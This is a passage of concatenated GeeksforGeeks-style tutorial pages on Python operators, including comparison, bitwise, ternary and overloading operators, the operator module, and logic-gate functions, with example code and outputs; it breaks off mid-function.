print(add)
print(sub)
print(mul)
print(div1)
print(div2)
print(mod)
print(p)
Output
13
5
36
2.25
2
1
6561

Note: Refer to Differences between / and // for some interesting facts about these two operators.

Comparison Operators

Comparison of Relational operators compares the values. It either returns True or False according to the condition.

OperatorDescriptionSyntax
>Greater than: True if the left operand is greater than the rightx > y
<Less than: True if the left operand is less than the rightx < y
==Equal to: True if both operands are equalx == y
!=Not equal to – True if operands are not equalx != y
>=Greater than or equal to True if the left operand is greater than or equal to the rightx >= y
<=Less than or equal to True if the left operand is less than or equal to the rightx <= y

Example: Comparison Operators in Python

Python3




# Examples of Relational Operators
a = 13
b = 33
  
# a > b is False
print(a > b)
  
# a < b is True
print(a < b)
  
# a == b is False
print(a == b)
  
# a != b is True
print(a != b)
  
# a >= b is False
print(a >= b)
  
# a <= b is True
print(a <= b)
Output
False
True
False
True
False
True

Logical Operators

Logical operators perform Logical AND, Logical OR, and Logical NOT operations. It is used to combine conditional statements.

OperatorDescriptionSyntax
andLogical AND: True if both the operands are truex and y
orLogical OR: True if either of the operands is true x or y
notLogical NOT: True if the operand is false not x

Example: Logical Operators in Python

Python3




# Examples of Logical Operator
a = True
b = False
  
# Print a and b is False
print(a and b)
  
# Print a or b is True
print(a or b)
  
# Print not a is False
print(not a)
Output
False
True
False

Bitwise Operators

Bitwise operators act on bits and perform the bit-by-bit operations. These are used to operate on binary numbers.

OperatorDescriptionSyntax
&Bitwise ANDx & y
|Bitwise ORx | y
~Bitwise NOT~x
^Bitwise XORx ^ y
>>Bitwise right shiftx>>
<<Bitwise left shiftx<<

Example: Bitwise Operators in Python

Python3




# Examples of Bitwise operators
a = 10
b = 4
  
# Print bitwise AND operation
print(a & b)
  
# Print bitwise OR operation
print(a | b)
  
# Print bitwise NOT operation
print(~a)
  
# print bitwise XOR operation
print(a ^ b)
  
# print bitwise right shift operation
print(a >> 2)
  
# print bitwise left shift operation
print(a << 2)
Output
0
14
-11
14
2
40

Assignment Operators 

Assignment operators are used to assigning values to the variables.

OperatorDescriptionSyntax
=Assign value of right side of expression to left side operand x = y + z
+=Add AND: Add right-side operand with left side operand and then assign to left operanda+=b     a=a+b
-=Subtract AND: Subtract right operand from left operand and then assign to left operanda-=b     a=a-b
*=Multiply AND: Multiply right operand with left operand and then assign to left operanda*=b     a=a*b
/=Divide AND: Divide left operand with right operand and then assign to left operanda/=b     a=a/b
%=Modulus AND: Takes modulus using left and right operands and assign the result to left operanda%=b     a=a%b
//=Divide(floor) AND: Divide left operand with right operand and then assign the value(floor) to left operanda//=b     a=a//b
**=Exponent AND: Calculate exponent(raise power) value using operands and assign value to left operanda**=b     a=a**b
&=Performs Bitwise AND on operands and assign value to left operanda&=b     a=a&b
|=Performs Bitwise OR on operands and assign value to left operanda|=b     a=a|b
^=Performs Bitwise xOR on operands and assign value to left operanda^=b     a=a^b
>>=Performs Bitwise right shift on operands and assign value to left operanda>>=b     a=a>>b
<<=Performs Bitwise left shift on operands and assign value to left operanda <<= b     a= a << b

Example: Assignment Operators in Python

Python3




# Examples of Assignment Operators
a = 10
  
# Assign value
b = a
print(b)
  
# Add and assign value
b += a
print(b)
  
# Subtract and assign value
b -= a
print(b)
  
# multiply and assign
b *= a
print(b)
  
# bitwise lishift operator
b <<= a
print(b)
Output
10
20
10
100
102400

Identity Operators

is and is not are the identity operators both are used to check if two values are located on the same part of the memory. Two variables that are equal do not imply that they are identical. 

is          True if the operands are identical 
is not      True if the operands are not identical 

Example: Identity Operator

Python3




a = 10
b = 20
c = a
  
print(a is not b)
print(a is c)
Output
True
True

Membership Operators

in and not in are the membership operators; used to test whether a value or variable is in a sequence.

in            True if value is found in the sequence
not in        True if value is not found in the sequence

Example: Membership Operator

Python3




# Python program to illustrate
# not 'in' operator
x = 24
y = 20
list = [10, 20, 30, 40, 50]
  
if (x not in list):
    print("x is NOT present in given list")
else:
    print("x is present in given list")
  
if (y in list):
    print("y is present in given list")
else:
    print("y is NOT present in given list")
Output
x is NOT present in given list
y is present in given list

Precedence and Associativity of Operators

Precedence and Associativity of Operators: Operator precedence and associativity determine the priorities of the operator.

Operator Precedence

This is used in an expression with more than one operator with different precedence to determine which operation to perform first.

Example: Operator Precedence

Python3




# Examples of Operator Precedence
  
# Precedence of '+' & '*'
expr = 10 + 20 * 30
print(expr)
  
# Precedence of 'or' & 'and'
name = "Alex"
age = 0
  
if name == "Alex" or name == "John" and age >= 2:
    print("Hello! Welcome.")
else:
    print("Good Bye!!")
Output
610
Hello! Welcome.

Operator Associativity

If an expression contains two or more operators with the same precedence then Operator Associativity is used to determine. It can either be Left to Right or from Right to Left.

Example: Operator Associativity

Python3




# Examples of Operator Associativity
  
# Left-right associativity
# 100 / 10 * 10 is calculated as
# (100 / 10) * 10 and not
# as 100 / (10 * 10)
print(100 / 10 * 10)
  
# Left-right associativity
# 5 - 2 + 3 is calculated as
# (5 - 2) + 3 and not
# as 5 - (2 + 3)
print(5 - 2 + 3)
  
# left-right associativity
print(5 - (2 + 3))
  
# right-left associativity
# 2 ** 3 ** 2 is calculated as
# 2 ** (3 ** 2) and not
# as (2 ** 3) ** 2
print(2 ** 3 ** 2)
Output
100.0
6
0
512

Quiz on Python Operators


My Personal Notes arrow_drop_up

G-Fact 19 (Logical and Bitwise Not Operators on Boolean)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 01 Jun, 2022

Most of the languages including C, C++, Java and Python provide the boolean type that can be either set to False or True.
Consider below programs that use Logical Not (or !) operator on boolean. 
 

C++




// A C++ program that uses Logical Not or ! on boolean
#include <iostream>
using namespace std;
 
int main()
{
    // we are making variable store bool expression of false
    // and true, it can be also written as (1) for 'true' and
    // (0) for 'false'
    bool is_it_true = false;
    bool is_it_false = true;
 
    // This code below print first false (0) and then true
    // (1) cause of we have used 'not' (!) operator in second
    // case
    cout << is_it_true << endl;
    cout << !is_it_true << endl;
 
    // This code below print first true (1) and then false
    // (0) cause of we have used 'not' (!) operator in second
    // case
    cout << is_it_false << endl;
    cout << !is_it_false << endl;
    return 0;
}

Python




# A Python program that uses Logical Not or ! on boolean
a = not True
b = not False
print a
print b
# Output: False
#         True

C#




// C# program that uses Logical
// Not or ! on boolean
using System;
 
class GFG
{
    public static void Main ()
    {
        bool a = true, b = false;
        Console.WriteLine(!a);
        Console.WriteLine(!b);
    }
}
// Output: False
//         True
 
// This code is contributed
// by Rajput-Ji

Javascript




<script>
// A javascript program that uses Logical Not or ! on boolean
     
        var a = true, b = false;
        document.write(!a+"<br/>");
        document.write(!b);
 
// Output: False
// True
 
// This code contributed by gauravrajput1
</script>
Output
0
1
1
0

The outputs of above programs are as expected, but the outputs following programs may not be as expected if we have not used Bitwise Not (or ~) operator before.
 

Python




# A Python program that uses Bitwise Not or ~ on boolean
a = True
b = False
print ~a
print ~b

C/C++


// C/C++ program that uses Bitwise Not or ~ on boolean
#include <bits/stdc++.h>
using namespace std;
int main()
{
    bool a = true, b = false;
    cout << ~a << endl << ~b;
    return 0;
}

Java




// A Java program that uses Bitwise Not or ~ on boolean
import java.io.*;
 
class GFG
{
    public static void main (String[] args)
    {
        boolean a = true, b = false;
        System.out.println(~a);
        System.out.println(~b);
    }
}

Output: 
 

6: error: bad operand type boolean for unary operator '~'
        System.out.println(~a);
                           ^
7: error: bad operand type boolean for unary operator '~'
        System.out.println(~b);
                           ^
2 errors

Conclusion: 
“Logical not or !” is meant for boolean values and “bitwise not or ~” is for integers. Languages like C/C++ and python do auto promotion of boolean to integer type when an integer operator is applied. But Java doesn’t do it.
This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
 


My Personal Notes arrow_drop_up

Ternary Operator in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Ternary operators are also known as conditional expressions are operators that evaluate something based on a condition being true or false. It was added to Python in version 2.5
It simply allows testing a condition in a single line replacing the multiline if-else making the code compact.
 

Syntax : 

[on_true] if [expression] else [on_false] 

Python




# Program to demonstrate conditional operator
a, b = 10, 20
  
# Copy value of a in min if a < b else copy b
min = a if a < b else b
  
print(min)

Output: 

10

Python




# Python program to demonstrate ternary operator
a, b = 10, 20
  
# Use tuple for selecting an item
# (if_test_false,if_test_true)[test]
# if [a<b] is true it return 1, so element with 1 index will print
# else if [a<b] is false it return 0, so element with 0 index will print
print( (b, a) [a < b] )
  
# Use Dictionary for selecting an item
# if [a < b] is true then value of True key will print
# else if [a<b] is false then value of False key will print 
print({True: a, False: b} [a < b])
  
# lambda is more efficient than above two methods
# because in lambda  we are assure that
# only one expression will be evaluated unlike in
# tuple and Dictionary
print((lambda: b, lambda: a)[a < b]())

Output:

10
10
10

Python




# Python program to demonstrate nested ternary operator
a, b = 10, 20
  
print ("Both a and b are equal" if a == b else "a is greater than b"
        if a > b else "b is greater than a")

The above approach can be written as: 
 

Python




# Python program to demonstrate nested ternary operator
a, b = 10, 20
  
if a != b:
    if a > b:
        print("a is greater than b")
    else:
        print("b is greater than a")
else:
    print("Both a and b are equal")

Output:

 b is greater than a

Example: Find the Larger number among 2 using ternary operator in python3

Python3




a=5
b=7
  
# [statement_on_True] if [condition] else [statement_on_false] 
  
print(a,"is greater") if (a>b) else print(b,"is Greater")

Output:

7 is Greater

Important Points: 

Method used prior to 2.5 when the ternary operator was not present 
In an expression like the one given below, the interpreter checks for the expression if this is true then on_true is evaluated, else the on_false is evaluated.
 

Syntax : 

'''When condition becomes true, expression [on_false]
   is not executed and value of "True and [on_true]"
   is returned.  Else value of "False or [on_false]"
   is returned.
   Note that "True and x" is equal to x. 
   And "False or x" is equal to x. '''
[expression] and [on_true] or [on_false] 

Example : 

Python




      
# Program to demonstrate conditional operator
a, b = 10, 20
  
# If a is less than b, then a is assigned
# else b is assigned (Note : it doesn't 
# work if a is 0.
min = a < b and a or b
  
print(min)

Output:

10

Note : The only drawback of this method is that on_true must not be zero or False. If this happens on_false will be evaluated always. The reason for that is if the expression is true, the interpreter will check for the on_true, if that will be zero or false, that will force the interpreter to check for on_false to give the final result of the whole expression.

This article is contributed by Mayank Rawat and improved by Shubham Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Division Operators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Division Operators

Consider the below statements in Python.
 

Python3




# A Python program to demonstrate the use of 
# "//" for integers
print (5//2)
print (-5//2)

Output:

2
-3

The first output is fine, but the second one may be surprised if we are coming Java/C++ world. In Python, the “//” operator works as a floor division for integer and float arguments. However, the operator / returns a float value if one of the arguments is a float (this is similar to C++)

Note:

The “//” operator is used to return the closest integer value which is less than or equal to a specified expression or value. So from the above code, 5//2 returns 2. You know that 5/2 is 2.5, the closest integer which is less than or equal is 2[5//2].( it is inverse to the normal maths, in normal maths the value is 3).
 

Python3




# A Python program to demonstrate use of 
# "/" for floating point numbers
print (5.0/2)
print (-5.0/2)

Output:

2.5
-2.5

The real floor division operator is “//”. It returns floor value for both integer and floating point arguments. 

Python3




# A Python program to demonstrate use of 
# "//" for both integers and floating points
print (5//2)
print (-5//2)
print (5.0//2)
print (-5.0//2)

Output:

2
-3
2.0
-3.0

See this for example.
 


My Personal Notes arrow_drop_up

Operator Overloading in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 21 Feb, 2022

Operator Overloading means giving extended meaning beyond their predefined operational meaning. For example operator + is used to add two integers as well as join two strings and merge two lists. It is achievable because ‘+’ operator is overloaded by int class and str class. You might have noticed that the same built-in operator or function shows different behavior for objects of different classes, this is called Operator Overloading
 

Python3




# Python program to show use of
# + operator for different purposes.
 
print(1 + 2)
 
# concatenate two strings
print("Geeks"+"For")
 
# Product two numbers
print(3 * 4)
 
# Repeat the String
print("Geeks"*4)
Output
3
GeeksFor
12
GeeksGeeksGeeksGeeks

Output: 
 

3
GeeksFor
12
GeeksGeeksGeeksGeeks

How to overload the operators in Python? 
Consider that we have two objects which are a physical representation of a class (user-defined data type) and we have to add two objects with binary ‘+’ operator it throws an error, because compiler don’t know how to add two objects. So we define a method for an operator and that process is called operator overloading. We can overload all existing operators but we can’t create a new operator. To perform operator overloading, Python provides some special function or magic function that is automatically invoked when it is associated with that particular operator. For example, when we use + operator, the magic method __add__ is automatically invoked in which the operation for + operator is defined.
Overloading binary + operator in Python : 
When we use an operator on user defined data types then automatically a special function or magic function associated with that operator is invoked. Changing the behavior of operator is as simple as changing the behavior of method or function. You define methods in your class and operators work according to that behavior defined in methods. When we use + operator, the magic method __add__ is automatically invoked in which the operation for + operator is defined. There by changing this magic method’s code, we can give extra meaning to the + operator. 
Code 1: 
 

Python3




# Python Program illustrate how
# to overload an binary + operator
 
class A:
    def __init__(self, a):
        self.a = a
 
    # adding two objects
    def __add__(self, o):
        return self.a + o.a
ob1 = A(1)
ob2 = A(2)
ob3 = A("Geeks")
ob4 = A("For")
 
print(ob1 + ob2)
print(ob3 + ob4)
Output
3
GeeksFor

Output : 
 

3
GeeksFor

Code 2: 
 

Python3




# Python Program to perform addition
# of two complex numbers using binary
# + operator overloading.
 
class complex:
    def __init__(self, a, b):
        self.a = a
        self.b = b
 
     # adding two objects
    def __add__(self, other):
        return self.a + other.a, self.b + other.b
 
Ob1 = complex(1, 2)
Ob2 = complex(2, 3)
Ob3 = Ob1 + Ob2
print(Ob3)
Output
(3, 5)

Output : 
 

(3, 5)

Overloading comparison operators in Python : 
 

Python3




# Python program to overload
# a comparison operators
 
class A:
    def __init__(self, a):
        self.a = a
    def __gt__(self, other):
        if(self.a>other.a):
            return True
        else:
            return False
ob1 = A(2)
ob2 = A(3)
if(ob1>ob2):
    print("ob1 is greater than ob2")
else:
    print("ob2 is greater than ob1")

Output : 
 

ob2 is greater than ob1

Overloading equality and less than operators : 
 

Python3




# Python program to overload equality
# and less than operators
 
class A:
    def __init__(self, a):
        self.a = a
    def __lt__(self, other):
        if(self.a<other.a):
            return "ob1 is lessthan ob2"
        else:
            return "ob2 is less than ob1"
    def __eq__(self, other):
        if(self.a == other.a):
            return "Both are equal"
        else:
            return "Not equal"
                 
ob1 = A(2)
ob2 = A(3)
print(ob1 < ob2)
 
ob3 = A(4)
ob4 = A(4)
print(ob1 == ob2)

Output : 
 

ob1 is lessthan ob2
Not equal

Python magic methods or special functions for operator overloading

Binary Operators:

OperatorMagic Method
+__add__(self, other)
__sub__(self, other)
*__mul__(self, other)
/__truediv__(self, other)
//__floordiv__(self, other)
%__mod__(self, other)
**__pow__(self, other)
>>__rshift__(self, other)
<<__lshift__(self, other)
&__and__(self, other)
|__or__(self, other)
^__xor__(self, other)

Comparison Operators :

OperatorMagic Method
<__lt__(self, other)
>__gt__(self, other)
<=__le__(self, other)
>=__ge__(self, other)
==__eq__(self, other)
!=__ne__(self, other)

Assignment Operators :

OperatorMagic Method
-=__isub__(self, other)
+=__iadd__(self, other)
*=__imul__(self, other)
/=__idiv__(self, other)
//=__ifloordiv__(self, other)
%=__imod__(self, other)
**=__ipow__(self, other)
>>=__irshift__(self, other)
<<=__ilshift__(self, other)
&=__iand__(self, other)
|=__ior__(self, other)
^=__ixor__(self, other)

Unary Operators :

OperatorMagic Method
__neg__(self)
+__pos__(self)
~__invert__(self)

Note: It is not possible to change the number of operands of an operator. For ex. you cannot overload a unary operator as a binary operator. The following code will throw a syntax error.

Python3




# Python program which attempts to
# overload ~ operator as binary operator
 
class A:
    def __init__(self, a):
        self.a = a
 
    # Overloading ~ operator, but with two operands
    def __invert__(self, other):
        return "This is the ~ operator, overloaded as binary operator."
 
 
ob1 = A(2)
ob2 = A(3)
 
print(ob1~ob2)

 


My Personal Notes arrow_drop_up

Any All in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 25 Nov, 2020

Any and All are two built ins provided in python used for successive And/Or.

Any
Returns true if any of the items is True. It returns False if empty or all are false. Any can be thought of as a sequence of OR operations on the provided iterables.
It short circuit the execution i.e. stop the execution as soon as the result is known.

Syntax : any(list of iterables)




# Since all are false, false is returned
print (any([False, False, False, False]))
  
# Here the method will short-circuit at the
# second item (True) and will return True.
print (any([False, True, False, False]))
  
# Here the method will short-circuit at the
# first (True) and will return True.
print (any([True, False, False, False]))

Output :

False
True
True

 

All
Returns true if all of the items are True (or if the iterable is empty). All can be thought of as a sequence of AND operations on the provided iterables. It also short circuit the execution i.e. stop the execution as soon as the result is known.

Syntax : all(list of iterables)




# Here all the iterables are True so all
# will return True and the same will be printed
print (all([True, True, True, True]))
  
# Here the method will short-circuit at the 
# first item (False) and will return False.
print (all([False, True, True, False]))
  
# This statement will return False, as no
# True is found in the iterables
print (all([False, False, False]))

Output :

True
False
False

Practical Examples




# This code explains how can we 
# use 'any' function on list 
list1 = []
list2 = []
  
# Index ranges from 1 to 10 to multiply
for i in range(1,11):
    list1.append(4*i) 
  
# Index to access the list2 is from 0 to 9
for i in range(0,10):
    list2.append(list1[i]%5==0)
  
print('See whether at least one number is divisible by 5 in list 1=>')
print(any(list2))

Output:

See whether at least one number is divisible by 5 in list 1=>
True




# Illustration of 'all' function in python 3
  
# Take two lists 
list1=[]
list2=[]
  
# All numbers in list1 are in form: 4*i-3
for in range(1,21):
    list1.append(4*i-3)
  
# list2 stores info of odd numbers in list1
for i in range(0,20):
    list2.append(list1[i]%2==1)
  
print('See whether all numbers in list1 are odd =>')
print(all(list2))

Output:

See whether all numbers in list1 are odd =>
True

Truth table :-

This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Inplace vs Standard Operators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 10 Aug, 2021

Inplace Operators – Set 1, Set 2
Normal operators do the simple assigning job. On other hand, Inplace operators behave similarly to normal operators except that they act in a different manner in case of mutable and Immutable targets. 
 

Case 1: Immutable Targets. 
In Immutable targets, such as numbers, strings, and tuples. Inplace operators behave the same as normal operators, i.e only assignment takes place, no modification is taken place in the passed arguments.
 

Python




# Python code to demonstrate difference between 
# Inplace and Normal operators in Immutable Targets
  
# importing operator to handle operator operations
import operator
  
# Initializing values
x = 5
y = 6
a = 5
b = 6
  
# using add() to add the arguments passed 
z = operator.add(a,b)
  
# using iadd() to add the arguments passed 
p = operator.iadd(x,y)
  
# printing the modified value
print ("Value after adding using normal operator : ",end="")
print (z)
  
# printing the modified value
print ("Value after adding using Inplace operator : ",end="")
print (p)
  
# printing value of first argument
# value is unchanged
print ("Value of first argument using normal operator : ",end="")
print (a)
  
# printing value of first argument
# value is unchanged
print ("Value of first argument using Inplace operator : ",end="")
print (x)

Output:

Value after adding using normal operator : 11
Value after adding using Inplace operator : 11
Value of first argument using normal operator : 5
Value of first argument using Inplace operator : 5

Case 2: Mutable Targets 
The behavior of Inplace operators in mutable targets, such as lists and dictionaries, is different from normal operators. The updation and assignment both are carried out in case of mutable targets.
 

Python




# Python code to demonstrate difference between 
# Inplace and Normal operators in mutable Targets
  
# importing operator to handle operator operations
import operator
  
# Initializing list
a = [1, 2, 4, 5]
  
# using add() to add the arguments passed 
z = operator.add(a,[1, 2, 3])
  
# printing the modified value
print ("Value after adding using normal operator : ",end="")
print (z)
  
# printing value of first argument
# value is unchanged
print ("Value of first argument using normal operator : ",end="")
print (a)
  
# using iadd() to add the arguments passed 
# performs a+=[1, 2, 3]
p = operator.iadd(a,[1, 2, 3])
  
# printing the modified value
print ("Value after adding using Inplace operator : ",end="")
print (p)
  
# printing value of first argument
# value is changed
print ("Value of first argument using Inplace operator : ",end="")
print (a)

Output: 
 

Value after adding using normal operator : [1, 2, 4, 5, 1, 2, 3]
Value of first argument using normal operator : [1, 2, 4, 5]
Value after adding using Inplace operator : [1, 2, 4, 5, 1, 2, 3]
Value of first argument using Inplace operator : [1, 2, 4, 5, 1, 2, 3]

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Operator Functions in Python | Set 1

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 11 Oct, 2021

Python has predefined functions for many mathematical, logical, relational, bitwise etc operations under the module “operator”. Some of the basic functions are covered in this article.

1. add(a, b) :- This functions returns addition of the given arguments.
Operation – a + b.

2. sub(a, b) :- This functions returns difference of the given arguments.
Operation – a – b.

3. mul(a, b) :- This functions returns product of the given arguments.
Operation – a * b.




# Python code to demonstrate working of 
# add(), sub(), mul()
  
# importing operator module 
import operator
  
# Initializing variables
a = 4
  
b = 3
  
# using add() to add two numbers
print ("The addition of numbers is :",end="");
print (operator.add(a, b))
  
# using sub() to subtract two numbers
print ("The difference of numbers is :",end="");
print (operator.sub(a, b))
  
# using mul() to multiply two numbers
print ("The product of numbers is :",end="");
print (operator.mul(a, b))

Output:

The addition of numbers is:7
The difference of numbers is :1
The product of numbers is:12

4. truediv(a,b) :- This function returns division of the given arguments.
Operation – a / b.

5. floordiv(a,b) :- This function also returns division of the given arguments. But the value is floored value i.e. returns greatest small integer.
Operation – a // b.

6. pow(a,b) :- This function returns exponentiation of the given arguments.
Operation – a ** b.

7. mod(a,b) :- This function returns modulus of the given arguments.
Operation – a % b.




# Python code to demonstrate working of 
# truediv(), floordiv(), pow(), mod()
  
# importing operator module 
import operator
  
# Initializing variables
a = 5
  
b = 2
  
# using truediv() to divide two numbers
print ("The true division of numbers is : ",end="");
print (operator.truediv(a,b))
  
# using floordiv() to divide two numbers
print ("The floor division of numbers is : ",end="");
print (operator.floordiv(a,b))
  
# using pow() to exponentiate two numbers
print ("The exponentiation of numbers is : ",end="");
print (operator.pow(a,b))
  
# using mod() to take modulus of two numbers
print ("The modulus of numbers is : ",end="");
print (operator.mod(a,b))

Output:

The true division of numbers is: 2.5
The floor division of numbers is: 2
The exponentiation of numbers is: 25
The modulus of numbers is: 1

8. lt(a, b) :- This function is used to check if a is less than b or not. Returns true if a is less than b, else returns false.
Operation – a < b.

9. le(a, b) :- This function is used to check if a is less than or equal to b or not. Returns true if a is less than or equal to b, else returns false.
Operation – a <= b.

10. eq(a, b) :- This function is used to check if a is equal to b or not. Returns true if a is equal to b, else returns false.
Operation – a == b.




# Python code to demonstrate working of 
# lt(), le() and eq()
  
# importing operator module 
import operator
  
# Initializing variables
a = 3
  
b = 3
  
# using lt() to check if a is less than b
if(operator.lt(a,b)):
       print ("3 is less than 3")
else : print ("3 is not less than 3")
  
# using le() to check if a is less than or equal to b
if(operator.le(a,b)):
       print ("3 is less than or equal to 3")
else : print ("3 is not less than or equal to 3")
  
# using eq() to check if a is equal to b
if (operator.eq(a,b)):
       print ("3 is equal to 3")
else : print ("3 is not equal to 3")

Output:

3 is not less than 3
3 is less than or equal to 3
3 is equal to 3

11. gt(a,b) :- This function is used to check if a is greater than b or not. Returns true if a is greater than b, else returns false.
Operation – a > b.

12. ge(a,b) :- This function is used to check if a is greater than or equal to b or not. Returns true if a is greater than or equal to b, else returns false.
Operation – a >= b.

13. ne(a,b) :- This function is used to check if a is not equal to b or is equal. Returns true if a is not equal to b, else returns false.
Operation – a != b.




# Python code to demonstrate working of 
# gt(), ge() and ne()
  
# importing operator module 
import operator
  
# Initializing variables
a = 4
  
b = 3
  
# using gt() to check if a is greater than b
if (operator.gt(a,b)):
       print ("4 is greater than 3")
else : print ("4 is not greater than 3")
  
# using ge() to check if a is greater than or equal to b
if (operator.ge(a,b)):
       print ("4 is greater than or equal to 3")
else : print ("4 is not greater than or equal to 3")
  
# using ne() to check if a is not equal to b
if (operator.ne(a,b)):
       print ("4 is not equal to 3")
else : print ("4 is equal to 3")

Output:

4 is greater than 3
4 is greater than or equal to 3
4 is not equal to 3

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Inplace Operators in Python | Set 1 (iadd(), isub(), iconcat()…)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 10 Feb, 2020

Python in its definition provides methods to perform inplace operations, i.e doing assignment and computation in a single statement using “operator” module. For example,

x += y is equivalent to x = operator.iadd(x, y) 

Some Important Inplace operations :

1. iadd() :- This function is used to assign and add the current value. This operation does “a+=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.

2. iconcat() :- This function is used to concat one string at end of second.




# Python code to demonstrate the working of 
# iadd() and iconcat()
  
# importing operator to handle operator operations
import operator
  
# using iadd() to add and assign value
x = operator.iadd(2, 3);
  
# printing the modified value
print ("The value after adding and assigning : ", end="")
print (x)
  
# initializing values
y = "geeks"
  
z = "forgeeks"
  
# using iconcat() to concat the sequences
y = operator.iconcat(y, z)
  
# using iconcat() to concat sequences 
print ("The string after concatenation is : ", end="")
print (y)

Output:

The value after adding and assigning : 5
The string after concatenation is : geeksforgeeks

3. isub() :- This function is used to assign and subtract the current value. This operation does “a-=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.

4. imul() :- This function is used to assign and multiply the current value. This operation does “a*=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.




# Python code to demonstrate the working of 
# isub() and imul()
  
# importing operator to handle operator operations
import operator
  
# using isub() to subtract and assign value
x = operator.isub(2, 3);
  
# printing the modified value
print ("The value after subtracting and assigning : ", end="")
print (x)
  
# using imul() to multiply and assign value
x = operator.imul(2, 3);
  
# printing the modified value
print ("The value after multiplying and assigning : ", end="")
print (x)

Output:

The value after subtracting and assigning : -1
The value after multiplying and assigning : 6

5. itruediv() :- This function is used to assign and divide the current value. This operation does “a/=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.

6. imod() :- This function is used to assign and return remainder . This operation does “a%=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.




# Python code to demonstrate the working of 
# itruediv() and imod()
  
# importing operator to handle operator operations
import operator
  
# using itruediv() to divide and assign value
x = operator.itruediv(10, 5);
  
# printing the modified value
print ("The value after dividing and assigning : ", end="")
print (x)
  
# using imod() to modulus and assign value
x = operator.imod(10, 6);
  
# printing the modified value
print ("The value after modulus and assigning : ", end="")
print (x)

Output:

The value after dividing and assigning : 2.0
The value after modulus and assigning : 4

Next Articles

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Logic Gates in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 11 Apr, 2022

Logic gates are elementary building blocks for any digital circuits. It takes one or two inputs and produces output based on those inputs. Outputs may be high (1) or low (0). Logic gates are implemented using diodes or transistors. It can also be constructed using vacuum tubes, electromagnetic elements like optics, molecules, etc. In a computer, most of the electronic circuits are made up of logic gates. Logic gates are used to circuits that perform calculations, data storage, or show off object-oriented programming especially the power of inheritance. 
 

There are seven basic logic gates defined are: AND gate, OR gate, NOT gate, NAND gate, NOR gate, XOR gate, an XNOR gate. 
 

1. AND Gate 
The AND gate gives an output of 1 if both the two inputs are 1, it gives 0 otherwise. 
 

Python3




# Python3 program to illustrate
# working of AND gate
 
def AND (a, b):
 
    if a == 1 and b == 1:
        return True
    else:
        return False
 
# Driver code
if __name__=='__main__':
    print(AND(1, 1))
 
    print("+---------------+----------------+")
    print(" | AND Truth Table | Result |")
    print(" A = False, B = False | A AND B =",AND(False,False)," | ")
    print(" A = False, B = True | A AND B =",AND(False,True)," | ")
    print(" A = True, B = False | A AND B =",AND(True,False)," | ")
    print(" A = True, B = True | A AND B =",AND(True,True)," | ")

Output: 
 

True
+---------------+----------------
 | AND Truth Table |    Result |
 A = False, B = False | A AND B = False  | 
 A = False, B = True  | A AND B = False  | 
 A = True, B = False  | A AND B = False  | 
 A = True, B = True   | A AND B = True   | 

2. NAND Gate 
The NAND gate (negated AND) gives an output of 0 if both inputs are 1, it gives 1 otherwise. 
 

Python3




# Python3 program to illustrate
# working of NAND gate
 
def NAND (a, b):
    if a == 1 and b == 1:
        return False
    else:
        return True
 
# Driver code
if __name__=='__main__':
    print(NAND(1, 0))
 
    print("+---------------+----------------+")
    print(" | NAND Truth Table | Result |")
    print(" A = False, B = False | A AND B =",NAND(False,False)," | ")
    print(" A = False, B = True | A AND B =",NAND(False,True)," | ")
    print(" A = True, B = False | A AND B =",NAND(True,False)," | ")
    print(" A = True, B = True | A AND B =",NAND(True,True)," | ")

Output: 
 

True
+---------------+----------------
 | NAND Truth Table |    Result |
 A = False, B = False | A AND B = True  | 
 A = False, B = True  | A AND B = True  | 
 A = True, B = False  | A AND B = True  | 
 A = True, B = True   | A AND B = False | 

  
3. OR Gate 
The OR gate gives an output of 1 if either of the two inputs are 1, it gives 0 otherwise. 
 

Python3




# Python3 program to illustrate
# working of OR gate
 
def OR(a, b):
